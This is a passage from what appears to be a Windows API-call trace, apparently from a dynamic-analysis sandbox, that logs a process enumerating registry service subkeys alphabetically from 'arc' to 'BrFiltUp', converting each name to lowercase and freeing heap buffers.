(HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.060] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.060] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.060] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1a48, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.062] RegEnumKeyW (in: hKey=0x148, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.062] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1bf8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0256.062] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.062] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1a48, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.063] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.063] RegEnumKeyW (in: hKey=0x148, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0256.063] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.063] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1bf8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1a48, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.064] RegEnumKeyW (in: hKey=0x148, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.064] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1a48, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0256.064] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.064] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1a48, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bdesvc", cchWideChar=6, lpMultiByteStr=0x21f1bf8, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bdesvc", lpUsedDefaultChar=0x0) returned 6 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.065] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.065] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2c, lpName=0x2152850, cchName=0x104 | out: lpName="Beep") returned 0x0 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.065] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.065] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="beep", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="beep", lpUsedDefaultChar=0x0) returned 4 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2d, lpName=0x2152850, cchName=0x104 | out: lpName="BFE") returned 0x0 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bfe", cchWideChar=3, lpMultiByteStr=0x21f1bf8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bfe", lpUsedDefaultChar=0x0) returned 3 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2e, lpName=0x2152850, cchName=0x104 | out: lpName="BITS") returned 0x0 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bits", cchWideChar=4, lpMultiByteStr=0x21f1a48, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bits", lpUsedDefaultChar=0x0) returned 4 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.066] RegEnumKeyW (in: hKey=0x148, dwIndex=0x2f, lpName=0x2152850, cchName=0x104 | out: lpName="blbdrive") returned 0x0 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.066] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="blbdrive", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="blbdrive", lpUsedDefaultChar=0x0) returned 8 [0256.066] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.066] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x30, lpName=0x2152850, cchName=0x104 | out: lpName="bowser") returned 0x0 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="bowser", cchWideChar=6, lpMultiByteStr=0x21f1a48, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="bowser", lpUsedDefaultChar=0x0) returned 6 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x31, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltLo") returned 0x0 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1bf8 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltlo", cchWideChar=8, lpMultiByteStr=0x21f1bf8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="brfiltlo", lpUsedDefaultChar=0x0) returned 8 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1bf8) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1a48) returned 1 [0256.067] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0256.067] RegEnumKeyW (in: hKey=0x148, dwIndex=0x32, lpName=0x2152850, cchName=0x104 | out: lpName="BrFiltUp") returned 0x0 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0256.067] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="brfiltup", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0256.067] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1a48 [0256.067] WideCharToMultiByte (in: 